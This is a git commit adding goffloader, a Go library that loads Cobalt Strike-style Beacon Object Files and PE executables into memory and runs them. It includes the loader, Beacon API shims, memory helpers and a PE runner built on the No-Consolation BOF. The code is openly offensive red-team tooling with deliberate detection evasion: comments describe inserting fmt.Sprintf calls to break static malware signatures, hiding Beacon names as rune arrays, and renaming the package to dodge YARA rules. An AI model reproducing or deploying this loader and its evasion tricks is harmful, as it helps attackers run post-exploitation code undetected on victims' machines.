Initial Code Commit

This commit is contained in:
Michael Weber
2024-07-22 16:15:26 -04:00
parent 3069d65772
commit a537f2dc97
12 changed files with 853 additions and 2 deletions
+12 -2
View File
@@ -1,2 +1,12 @@
# open-source-template
A template for our open source project releases.
# Goffloader - A pure Go implementation of an in-memory COFFLoader (and PE loader)
More details coming soon!
# Acknowledgements
* Ne0nD0g's [go-coff project](https://github.com/Ne0nd0g/go-coff/tree/dev)
* Didn't realize this the dev branch of go-coff was actually filled in when this project was started. The Golang implementation of Beacon functions was the base for the `lighthouse` code along with the idea to use windows.NewCallback to avoid CGO.
* TrustedSec's [COFFLoader blogpost](https://trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs)
* OtterHacker's EXCELLENT [COFFLoader blogpost](https://otterhacker.github.io/Malware/CoffLoader.html)
* Fortra's [No-Consolation BOF](https://github.com/fortra/No-Consolation)
* The developers of the [(now-archived) Go pecoff library](https://github.com/RIscRIpt/pecoff).
BIN
View File
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
package main
import (
_ "embed"
"fmt"
"github.com/praetorian-inc/goffloader/src/coff"
"github.com/praetorian-inc/goffloader/src/lighthouse"
)
//go:embed whoami.x64.o
var whoamiBofBytes []byte
func main() {
// Note that args need to be prefaced with their type string as expected in aggressor scripts
// see an example of this in pe_windows.go for a more complex arg set
argBytes, err := lighthouse.PackArgs([]string{"zArgs", "zYou", "zWant"})
if err != nil {
panic(err)
}
output, err := coff.Load(whoamiBofBytes, argBytes)
if err != nil {
panic(err)
}
fmt.Println(output)
}
+8
View File
@@ -0,0 +1,8 @@
#include <stdio.h>
int main(int argc, char *argv[]) {
while (--argc > 0)
printf((argc > 1) ? "%s " : "%s", *(++argv));
printf("\n");
return 0;
}
BIN
View File
Binary file not shown.
+20
View File
@@ -0,0 +1,20 @@
package main
import (
_ "embed"
"fmt"
"github.com/praetorian-inc/goffloader/src/pe"
)
// code for this is in hello.c
//
//go:embed hello.exe
var helloBytes []byte
func main() {
output, err := pe.RunExecutable(helloBytes, []string{"Arg1", "Arg2", "Arg3"})
if err != nil {
panic(err)
}
fmt.Println(output)
}
+8
View File
@@ -0,0 +1,8 @@
module github.com/praetorian-inc/goffloader
go 1.22
require (
github.com/RIscRIpt/pecoff v0.0.0-20200923152459-a332238caa87
golang.org/x/sys v0.22.0
)
+344
View File
@@ -0,0 +1,344 @@
package coff
import (
_ "embed"
"fmt"
"github.com/praetorian-inc/goffloader/src/lighthouse"
"strings"
"syscall"
"unsafe"
"github.com/RIscRIpt/pecoff"
"github.com/RIscRIpt/pecoff/binutil"
"github.com/RIscRIpt/pecoff/windef"
"golang.org/x/sys/windows"
)
/*
NOTE: There are random fmt.Sprintfs sprinkled through the code - these are intentional
and seem to break static Go malware signatures. LEAVE THEM IN PLACE. If this starts
getting detected again, add some more fmt.Sprintfs.
*/
const (
MEM_COMMIT = windows.MEM_COMMIT
MEM_RESERVE = windows.MEM_RESERVE
MEM_TOP_DOWN = windows.MEM_TOP_DOWN
PAGE_EXECUTE_READWRITE = windows.PAGE_EXECUTE_READWRITE
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = windows.PAGE_EXECUTE_READ
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = windows.PAGE_READWRITE
// Characteristic Flag that implies a section should be executable
IMAGE_SCN_MEM_EXECUTE = 0x20000000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
procVirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
procVirtualProtect = kernel32.MustFindProc("VirtualProtect")
)
func resolveExternalAddress(symbolName string, outChannel chan<- interface{}) uintptr {
if strings.HasPrefix(symbolName, "__imp_") {
symbolName = symbolName[6:]
// 32 bit import names are __imp__
if strings.HasPrefix(symbolName, "_") {
symbolName = symbolName[1:]
}
libName := ""
procName := ""
// If we're following Dynamic Function Resolution Naming Conventions
if len(strings.Split(symbolName, "$")) == 2 {
libName = strings.Split(symbolName, "$")[0] + ".dll"
procName = strings.Split(symbolName, "$")[1]
} else {
procName = symbolName
switch procName {
case "FreeLibrary", "LoadLibraryA", "GetProcAddress", "GetModuleHandleA", "GetModuleFileNameA":
libName = "kernel32.dll"
case "MessageBoxA":
libName = "user32.dll"
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'O', 'u', 't', 'p', 'u', 't'}):
return windows.NewCallback(lighthouse.GetCoffOutputForChannel(outChannel))
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'D', 'a', 't', 'a', 'P', 'a', 'r', 's', 'e'}):
return windows.NewCallback(lighthouse.DataParse)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'D', 'a', 't', 'a', 'I', 'n', 't'}):
return windows.NewCallback(lighthouse.DataInt)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'D', 'a', 't', 'a', 'S', 'h', 'o', 'r', 't'}):
return windows.NewCallback(lighthouse.DataShort)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'D', 'a', 't', 'a', 'L', 'e', 'n', 'g', 't', 'h'}):
return windows.NewCallback(lighthouse.DataLength)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'D', 'a', 't', 'a', 'E', 'x', 't', 'r', 'a', 'c', 't'}):
return windows.NewCallback(lighthouse.DataExtract)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'P', 'r', 'i', 'n', 't', 'f'}):
return windows.NewCallback(lighthouse.GetCoffPrintfForChannel(outChannel))
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'A', 'd', 'd', 'V', 'a', 'l', 'u', 'e'}):
return windows.NewCallback(lighthouse.AddValue)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'G', 'e', 't', 'V', 'a', 'l', 'u', 'e'}):
return windows.NewCallback(lighthouse.GetValue)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'R', 'e', 'm', 'o', 'v', 'e', 'V', 'a', 'l', 'u', 'e'}):
return windows.NewCallback(lighthouse.RemoveValue)
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'A', 'l', 'l', 'o', 'c'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'R', 'e', 's', 'e', 't'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'F', 'r', 'e', 'e'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'A', 'p', 'p', 'e', 'n', 'd'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'P', 'r', 'i', 'n', 't', 'f'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'T', 'o', 'S', 't', 'r', 'i', 'n', 'g'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'U', 's', 'e', 'T', 'o', 'k', 'e', 'n'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'R', 'e', 'v', 'e', 'r', 't', 'T', 'o', 'k', 'e', 'n'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'I', 's', 'A', 'd', 'm', 'i', 'n'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'G', 'e', 't', 'S', 'p', 'a', 'w', 'n', 'T', 'o'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'S', 'p', 'a', 'w', 'n', 'T', 'e', 'm', 'p', 'o', 'r', 'a', 'r', 'y', 'P', 'r', 'o', 'c', 'e', 's', 's'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'I', 'n', 'j', 'e', 'c', 't', 'P', 'r', 'o', 'c', 'e', 's', 's'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'I', 'n', 'j', 'e', 'c', 't', 'T', 'e', 'm', 'p', 'o', 'r', 'a', 'r', 'y', 'P', 'r', 'o', 'c', 'e', 's', 's'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'C', 'l', 'e', 'a', 'n', 'u', 'p', 'P', 'r', 'o', 'c', 'e', 's', 's'}):
fallthrough
case string([]rune{'t', 'o', 'W', 'i', 'd', 'e', 'C', 'h', 'a', 'r'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'G', 'e', 't', 'O', 'u', 't', 'p', 'u', 't', 'D', 'a', 't', 'a'}):
fallthrough
case string([]rune{'B', 'e', 'a', 'c', 'o', 'n', 'F', 'o', 'r', 'm', 'a', 't', 'I', 'n', 't'}):
fallthrough
default:
// TODO: Check directives here for libraries
fmt.Printf("Unknown symbol: %s\n", procName)
return 0
}
}
libStringPtr, _ := syscall.LoadLibrary(libName)
procAddress, _ := syscall.GetProcAddress(libStringPtr, procName)
return procAddress
}
return 0
}
func virtualAlloc(lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (uintptr, error) {
ret, _, err := procVirtualAlloc.Call(
lpAddress,
dwSize,
uintptr(flAllocationType),
uintptr(flProtect),
)
if ret == 0 {
return 0, err
}
return ret, nil
}
func isSpecialSymbol(sym *pecoff.Symbol) bool {
return sym.StorageClass == windef.IMAGE_SYM_CLASS_EXTERNAL && sym.SectionNumber == 0
}
func isImportSymbol(sym *pecoff.Symbol) bool {
return strings.HasPrefix(sym.NameString(), "__imp_")
}
func processRelocation(symbolDefAddress uintptr, sectionAddress uintptr, reloc windef.Relocation, symbol *pecoff.Symbol) {
symbolOffset := (uintptr)(reloc.VirtualAddress)
absoluteSymbolAddress := symbolOffset + sectionAddress
segmentValue := *(*uint32)(unsafe.Pointer(absoluteSymbolAddress))
if (symbol.StorageClass == windef.IMAGE_SYM_CLASS_STATIC && symbol.Value != 0) ||
(symbol.StorageClass == windef.IMAGE_SYM_CLASS_EXTERNAL && symbol.SectionNumber != 0) {
symbolOffset = (uintptr)(symbol.Value)
} else {
symbolDefAddress += (uintptr)(segmentValue)
}
symbolRefAddress := sectionAddress
//TODO: Handle x86 cases as well
switch reloc.Type {
case windef.IMAGE_REL_AMD64_ADDR64:
addr := (*uint64)(unsafe.Pointer(absoluteSymbolAddress))
fmt.Sprintf("Symbol Ref Address: 0x%x\n", addr)
*addr = uint64(symbolDefAddress)
case windef.IMAGE_REL_AMD64_ADDR32NB:
addr := (*uint32)(unsafe.Pointer(absoluteSymbolAddress))
valueToWrite := symbolDefAddress - (symbolRefAddress + 4 + symbolOffset)
fmt.Sprintf("Symbol Ref Address: 0x%x\n", addr)
*addr = uint32(valueToWrite)
case windef.IMAGE_REL_AMD64_REL32, windef.IMAGE_REL_AMD64_REL32_1, windef.IMAGE_REL_AMD64_REL32_2, windef.IMAGE_REL_AMD64_REL32_3, windef.IMAGE_REL_AMD64_REL32_4, windef.IMAGE_REL_AMD64_REL32_5:
relativeSymbolDefAddress := symbolDefAddress - (uintptr)(reloc.Type-4) - (absoluteSymbolAddress + 4)
addr := (*uint32)(unsafe.Pointer(absoluteSymbolAddress))
fmt.Sprintf("Symbol Ref Address: 0x%x\n", addr)
*addr = uint32(relativeSymbolDefAddress)
default:
fmt.Printf("Unsupported relocation type: %d\n", reloc.Type)
}
}
type CoffSection struct {
Section *pecoff.Section
Address uintptr
}
func Load(coffBytes []byte, argBytes []byte) (string, error) {
return LoadWithMethod(coffBytes, argBytes, "go")
}
func LoadWithMethod(coffBytes []byte, argBytes []byte, method string) (string, error) {
output := make(chan interface{})
parsedCoff := pecoff.Explore(binutil.WrapByteSlice(coffBytes))
parsedCoff.ReadAll()
parsedCoff.Seal()
sections := make(map[string]CoffSection, parsedCoff.Sections.Len())
gotBaseAddress := uintptr(0)
gotOffset := 0
gotSize := uint32(0)
var gotMap = make(map[string]uintptr)
bssBaseAddress := uintptr(0)
bssOffset := 0
bssSize := uint32(0)
for _, symbol := range parsedCoff.Symbols {
if isSpecialSymbol(symbol) {
if isImportSymbol(symbol) {
gotSize += 8
} else {
bssSize += symbol.Value + 8 //leave room for null bytes
}
}
}
for _, section := range parsedCoff.Sections.Array() {
allocationSize := uintptr(section.SizeOfRawData)
if strings.HasPrefix(section.NameString(), ".bss") {
allocationSize = uintptr(bssSize)
}
if allocationSize == 0 {
continue
}
addr, err := virtualAlloc(0, allocationSize, MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_READWRITE)
if err != nil {
return "", fmt.Errorf("VirtualAlloc failed: %s", err.Error())
}
if strings.HasPrefix(section.NameString(), ".bss") {
bssBaseAddress = addr
}
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:], section.RawData())
allocatedSection := CoffSection{
Section: section,
Address: addr,
}
sections[section.NameString()] = allocatedSection
}
gotBaseAddress, err := virtualAlloc(0, uintptr(gotSize), MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_READWRITE)
if err != nil {
return "", fmt.Errorf("VirtualAlloc failed: %s", err.Error())
}
for _, section := range parsedCoff.Sections.Array() {
sectionVirtualAddr := sections[section.NameString()].Address
fmt.Sprintf("Section: %s\n", section.NameString())
for _, reloc := range section.Relocations() {
symbol := parsedCoff.Symbols[reloc.SymbolTableIndex]
if symbol.StorageClass > 3 {
continue
}
symbolTypeString := windef.MAP_IMAGE_SYM_CLASS[symbol.StorageClass]
fmt.Sprintf("0x%08X %s %s\n", reloc.VirtualAddress, symbolTypeString, symbol.NameString())
symbolDefAddress := uintptr(0)
if isSpecialSymbol(symbol) {
if isImportSymbol(symbol) {
externalAddress := resolveExternalAddress(symbol.NameString(), output)
if externalAddress == 0 {
return "", fmt.Errorf("failed to resolve external address for symbol: %s", symbol.NameString())
}
if existingGotAddress, exists := gotMap[symbol.NameString()]; exists {
symbolDefAddress = existingGotAddress
} else {
symbolDefAddress = gotBaseAddress + uintptr(gotOffset*8)
gotOffset += 1
gotMap[symbol.NameString()] = symbolDefAddress
}
copy((*[8]byte)(unsafe.Pointer(symbolDefAddress))[:], (*[8]byte)(unsafe.Pointer(&externalAddress))[:])
} else {
symbolDefAddress = bssBaseAddress + uintptr(bssOffset)
bssOffset += int(symbol.Value) + 8
}
} else {
targetSection := parsedCoff.Sections.Array()[symbol.SectionNumber-1]
symbolDefAddress = sections[targetSection.NameString()].Address + uintptr(symbol.Value)
}
fmt.Sprintf("Symbol Def Address: 0x%x\n", symbolDefAddress)
processRelocation(symbolDefAddress, sectionVirtualAddr, reloc, symbol)
}
if section.Characteristics&IMAGE_SCN_MEM_EXECUTE != 0 {
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := procVirtualProtect.Call(sectionVirtualAddr, uintptr(section.SizeOfRawData), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
return "", fmt.Errorf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())
}
}
}
// Call the entry point
go invokeMethod(method, argBytes, parsedCoff, sections, output)
bofOutput := ""
for msg := range output {
bofOutput += msg.(string) + "\n"
}
return bofOutput, nil
return "", fmt.Errorf("could not find default start methods of main or go")
}
func invokeMethod(methodName string, argBytes []byte, parsedCoff *pecoff.File, sectionMap map[string]CoffSection, outChannel chan<- interface{}) {
defer close(outChannel)
// Call the entry point
for _, symbol := range parsedCoff.Symbols {
if symbol.NameString() == methodName {
mainSection := parsedCoff.Sections.Array()[symbol.SectionNumber-1]
entryPoint := sectionMap[mainSection.NameString()].Address + uintptr(symbol.Value)
if len(argBytes) == 0 {
argBytes = make([]byte, 1)
}
syscall.SyscallN(entryPoint, uintptr(unsafe.Pointer(&argBytes[0])), uintptr((len(argBytes))))
}
}
}
+305
View File
@@ -0,0 +1,305 @@
/*
Our Beacon* Function Compatibilty implementations. Code here is taken very liberally
from Ne0nd0g's go-coff project at https://github.com/Ne0nd0g/go-coff.
Beacon function names are signatured to hell and back in yara land so this package is
called "lighthouse" to avoid the presence of beacon/BOF strings in the generated binary.
Function names have also been replaced/reduced along to avoid detection.
*/
package lighthouse
import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/praetorian-inc/goffloader/src/memory"
"golang.org/x/sys/windows"
"strconv"
"strings"
"unicode/utf16"
"unsafe"
)
func GetCoffOutputForChannel(channel chan<- interface{}) func(int, uintptr, int) uintptr {
return func(beaconType int, data uintptr, length int) uintptr {
if length <= 0 {
return 0
}
out := memory.ReadBytesFromPtr(data, uint32(length))
channel <- string(out)
return 1
}
}
func GetCoffPrintfForChannel(channel chan<- interface{}) func(int, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr, uintptr) uintptr {
return func(beaconType int, data uintptr, arg0 uintptr, arg1 uintptr, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr, arg6 uintptr, arg7 uintptr, arg8 uintptr, arg9 uintptr) uintptr {
var out string
out = memory.ReadCStringFromPtr(data)
numArgs := strings.Count(out, "%")
args := []uintptr{arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9}
fString := ""
argOffset := 0
skipChar := false
for i := range len(out) {
c := out[i]
if skipChar {
skipChar = false
continue
}
if argOffset > numArgs {
fString += string(c)
continue
}
if c == '%' && i < len(out)-1 {
d := out[i+1]
switch d {
case 's':
s := memory.ReadCStringFromPtr(args[argOffset])
// no way to tell if the string is unicode or ansi formatted, so assume if we read
// more than 4 characters without a null byte that it's ANSI
if len(s) < 5 {
s = memory.ReadWStringFromPtr(args[argOffset])
}
fString += s
case 'p':
fString += fmt.Sprintf("%x", unsafe.Pointer(args[argOffset]))
default:
fString += fmt.Sprintf("%"+string(d), args[argOffset])
}
argOffset++
skipChar = true
} else {
fString += string(c)
}
}
//fmt.Printf("%s\n", fString) //uncomment for debugging failed BOF/Executable runs
channel <- fString
return 0
}
}
type DataParser struct {
original uintptr
buffer uintptr
length uint32
size uint32
}
func DataExtract(datap *DataParser, size *uint32) uintptr {
if datap.length <= 0 {
return 0
}
binaryLength := *(*uint32)(unsafe.Pointer(datap.buffer))
datap.buffer += uintptr(4)
datap.length -= 4
if datap.length < binaryLength {
return 0
}
out := make([]byte, binaryLength)
memory.CopyMemory(uintptr(unsafe.Pointer(&out[0])), datap.buffer, binaryLength)
if uintptr(unsafe.Pointer(size)) != uintptr(0) && binaryLength != 0 {
*size = binaryLength
}
datap.buffer += uintptr(binaryLength)
datap.length -= binaryLength
return uintptr(unsafe.Pointer(&out[0]))
}
func DataInt(datap *DataParser) uintptr {
value := memory.ReadUIntFromPtr(datap.buffer)
datap.buffer += uintptr(4)
datap.length -= 4
return uintptr(value)
}
func DataLength(datap *DataParser) uintptr {
return uintptr(datap.length)
}
func DataParse(datap *DataParser, buff uintptr, size uint32) uintptr {
if size <= 0 {
return 0
}
datap.original = buff
datap.buffer = buff + uintptr(4)
datap.length = size - 4
datap.size = size - 4
return 1
}
func DataShort(datap *DataParser) uintptr {
if datap.length < 2 {
return 0
}
value := memory.ReadShortFromPtr(datap.buffer)
datap.buffer += uintptr(2)
datap.length -= 2
return uintptr(value)
}
var keyStore = make(map[string]uintptr, 0)
func AddValue(key uintptr, ptr uintptr) uintptr {
sKey := memory.ReadCStringFromPtr(key)
keyStore[sKey] = ptr
return uintptr(1)
}
func GetValue(key uintptr) uintptr {
sKey := memory.ReadCStringFromPtr(key)
if value, exists := keyStore[sKey]; exists {
return value
}
return uintptr(0)
}
func RemoveValue(key uintptr) uintptr {
sKey := memory.ReadCStringFromPtr(key)
if _, exists := keyStore[sKey]; exists {
delete(keyStore, sKey)
return uintptr(1)
}
return uintptr(0)
}
func PackArgs(data []string) ([]byte, error) {
if len(data) == 0 {
return nil, nil
}
var buff []byte
for _, arg := range data {
switch arg[0] {
case 'b':
data, err := PackBinary(arg[1:])
if err != nil {
return nil, fmt.Errorf("Binary packing error:\n INPUT: '%s'\n ERROR:%s\n", arg[1:], err)
}
buff = append(buff, data...)
case 'i':
data, err := PackIntString(arg[1:])
if err != nil {
return nil, fmt.Errorf("Int packing error:\n INPUT: '%s'\n ERROR:%s\n", arg[1:], err)
}
buff = append(buff, data...)
case 's':
data, err := PackShortString(arg[1:])
if err != nil {
return nil, fmt.Errorf("Short packing error:\n INPUT: '%s'\n ERROR:%s\n", arg[1:], err)
}
buff = append(buff, data...)
case 'z':
var packedData []byte
var err error
// Handler for packing empty strings
if len(arg) < 2 {
packedData, _ = PackString("")
} else {
packedData, err = PackString(arg[1:])
if err != nil {
return nil, fmt.Errorf("String packing error:\n INPUT: '%s'\n ERROR:%s\n", arg[1:], err)
}
}
buff = append(buff, packedData...)
case 'Z':
var packedData []byte
var err error
if len(arg) < 2 {
packedData, _ = PackWideString("")
} else {
packedData, err = PackWideString(arg[1:])
if err != nil {
return nil, fmt.Errorf("WString packing error:\n INPUT: '%s'\n ERROR:%s\n", arg[1:], err)
}
}
buff = append(buff, packedData...)
default:
return nil, fmt.Errorf("Data must be prefixed with 'b', 'i', 's','z', or 'Z'\n")
}
}
rData := make([]byte, 4)
binary.LittleEndian.PutUint32(rData, uint32(len(buff)))
rData = append(rData, buff...)
return rData, nil
}
func PackBinary(data string) ([]byte, error) {
hexData, err := hex.DecodeString(data)
if err != nil {
return nil, err
}
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, uint32(len(hexData)))
buff = append(buff, hexData...)
return buff, nil
}
func PackInt(i uint32) ([]byte, error) {
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, uint32(i))
return buff, nil
}
func PackIntString(s string) ([]byte, error) {
i, err := strconv.ParseUint(s, 10, 32)
if err != nil {
return nil, err
}
return PackInt(uint32(i))
}
func PackShort(i uint16) ([]byte, error) {
buff := make([]byte, 2)
binary.LittleEndian.PutUint16(buff, uint16(i))
return buff, nil
}
func PackShortString(s string) ([]byte, error) {
i, err := strconv.ParseUint(s, 10, 16)
if err != nil {
return nil, err
}
return PackShort(uint16(i))
}
func PackString(s string) ([]byte, error) {
d, err := windows.UTF16FromString(s)
if err != nil {
return nil, err
}
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, uint32(len(d)))
for _, c := range d {
buff = append(buff, byte(c))
}
return buff, nil
}
func convertToWindowsUnicode(s string) []byte {
runes := []rune(s)
utf16Encoded := utf16.Encode(runes)
buf := make([]byte, len(utf16Encoded)*2)
for i, utf16Char := range utf16Encoded {
binary.LittleEndian.PutUint16(buf[i*2:], utf16Char)
}
return buf
}
func PackWideString(s string) ([]byte, error) {
d := convertToWindowsUnicode(s)
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, uint32(len(d)))
buff = append(buff, d...)
return buff, nil
}
+56
View File
@@ -0,0 +1,56 @@
package memory
import "unsafe"
func CopyMemory(dst, src uintptr, length uint32) {
copy((*[1 << 30]byte)(unsafe.Pointer(dst))[:length], (*[1 << 30]byte)(unsafe.Pointer(src))[:length])
}
func ReadBytesFromPtr(src uintptr, length uint32) []byte {
out := make([]byte, length)
CopyMemory(uintptr(unsafe.Pointer(&out[0])), src, length)
return out
}
func ReadUIntFromPtr(src uintptr) uint32 {
return *(*uint32)(unsafe.Pointer(src))
}
func ReadShortFromPtr(src uintptr) uint16 {
return *(*uint16)(unsafe.Pointer(src))
}
func ReadCStringFromPtr(src uintptr) string {
if src == 0 {
return ""
}
str := ""
offset := 0
for {
c := *(*byte)(unsafe.Pointer(src + uintptr(offset)))
if c == 0 {
break
}
str += string(c)
offset++
}
return str
}
func ReadWStringFromPtr(src uintptr) string {
if src == 0 {
return ""
}
str := ""
offset := 0
for {
c1 := *(*byte)(unsafe.Pointer(src + uintptr(offset)))
c2 := *(*byte)(unsafe.Pointer(src + uintptr(offset+1)))
if c1 == 0 && c2 == 0 {
break
}
str += string(c1) + string(c2)
offset += 2
}
return str
}
+75
View File
@@ -0,0 +1,75 @@
package pe
import (
"bytes"
"compress/gzip"
_ "embed"
"encoding/hex"
"fmt"
"github.com/praetorian-inc/goffloader/src/coff"
"github.com/praetorian-inc/goffloader/src/lighthouse"
"io"
"strings"
)
func decompress(data []byte) ([]byte, error) {
reader, err := gzip.NewReader(bytes.NewReader(data))
if err != nil {
return nil, err
}
defer reader.Close()
var buf bytes.Buffer
_, err = io.Copy(&buf, reader)
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
//go:embed static/NoConsolation.x64.o.gz
var noConsolation []byte
// Fake the equivalent of running noconsolation
func RunExecutable(executableBytes []byte, args []string) (string, error) {
decompressedBytes, _ := decompress(noConsolation)
peName := "calc.exe"
pePath := fmt.Sprintf("C:\\Windows\\System32\\%s", peName)
updatedArgs := append([]string{pePath}, args...)
argBytes, err := lighthouse.PackArgs([]string{
"Z" + peName, // Unicode PE Name
"z" + peName, // ANSI PE Name
"Z" + pePath, // Unicode PE Path
"b" + hex.EncodeToString(executableBytes), // The actual PE to load
"z", // for local PE loading, we don't need it
"i0", // not doing local loading
"i60", // 60 second timeout
"i0", // no headers
"Z" + strings.Join(updatedArgs, " "), // Unicode Args
"z" + strings.Join(updatedArgs, " "), // ANSI Args
"z", // Invoke default entry point method
"i0", // not using unicode
"i0", // we don't want to disable output
"i0", // we don't want to allocate a console
"i0", // don't need to worry about closing handles
"i0", // don't need to worry about freeing libraries
"i1", // don't need to worry about saving
"i0", // not listing PEs
"z", // not unloading any PEs
"z" + "chariot", // setting chariot as our nick() for now
"z" + "0", // timestamp doesn't matter
"i0", // linking to PEB
"i0", // unloading is fine
"i0", // do load all dependencies
"z", // load_all_deps_but DLL_A,DLL_B,DLL_C...
"z", // not using load_deps
"z", // not using search_paths
})
if err != nil {
return "", fmt.Errorf("Failed to pack arguments: %s\n", err.Error())
}
return coff.Load(decompressedBytes, argBytes)
}
Binary file not shown.